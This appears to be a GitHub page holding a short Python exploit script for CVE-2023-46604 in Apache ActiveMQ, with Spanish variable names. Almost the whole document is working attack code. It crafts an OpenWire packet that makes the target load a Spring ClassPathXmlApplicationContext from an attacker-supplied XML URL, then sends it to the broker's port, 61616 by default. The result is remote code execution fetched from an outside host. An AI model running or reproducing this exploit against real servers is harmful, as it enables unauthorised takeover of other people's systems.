-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2023-46604.py
50 lines (39 loc) · 1.8 KB
/
CVE-2023-46604.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import argparse
def main(ip, puerto, url):
if not ip or not url:
print("Uso: script.py -i <ip> -p <puerto> -u <url>")
return
banner()
clase_nombre = "org.springframework.context.support.ClassPathXmlApplicationContext"
mensaje = url
encabezado = "1f00000000000000000001"
cuerpo = encabezado + "01" + int2hex(len(clase_nombre), 4) + string2hex(clase_nombre) + "01" + int2hex(len(mensaje), 4) + string2hex(mensaje)
carga_util = int2hex(len(cuerpo) // 2, 8) + cuerpo
datos = bytes.fromhex(carga_util)
print("[*] Objetivo:", f"{ip}:{puerto}")
print("[*] URL XML:", url)
print()
print("[*] Enviando paquete:", carga_util)
conexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conexion.connect((ip, int(puerto)))
conexion.send(datos)
conexion.close()
def banner():
print(" _ _ _ __ __ ___ ____ ____ _____ \n / \\ ___| |_(_)_ _____| \\/ |/ _ \\ | _ \\ / ___| ____|\n / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | | | _| \n / ___ \\ (__| |_| |\\ V / __/ | | | |_| |_____| _ <| |___| |___ \n /_/ \\_\\___|\\__|_| \\_/ \\___|_| |_|\\__\\_\\ |_| \\_\\\\____|_____|\n")
def string2hex(s):
return s.encode().hex()
def int2hex(i, n):
if n == 4:
return format(i, '04x')
elif n == 8:
return format(i, '08x')
else:
raise ValueError("n debe ser 4 o 8")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", help="IP o Host del Servidor ActiveMQ")
parser.add_argument("-p", "--puerto", default="61616", help="Puerto del Servidor ActiveMQ")
parser.add_argument("-u", "--url", help="URL XML de Spring")
args = parser.parse_args()
main(args.ip, args.puerto, args.url)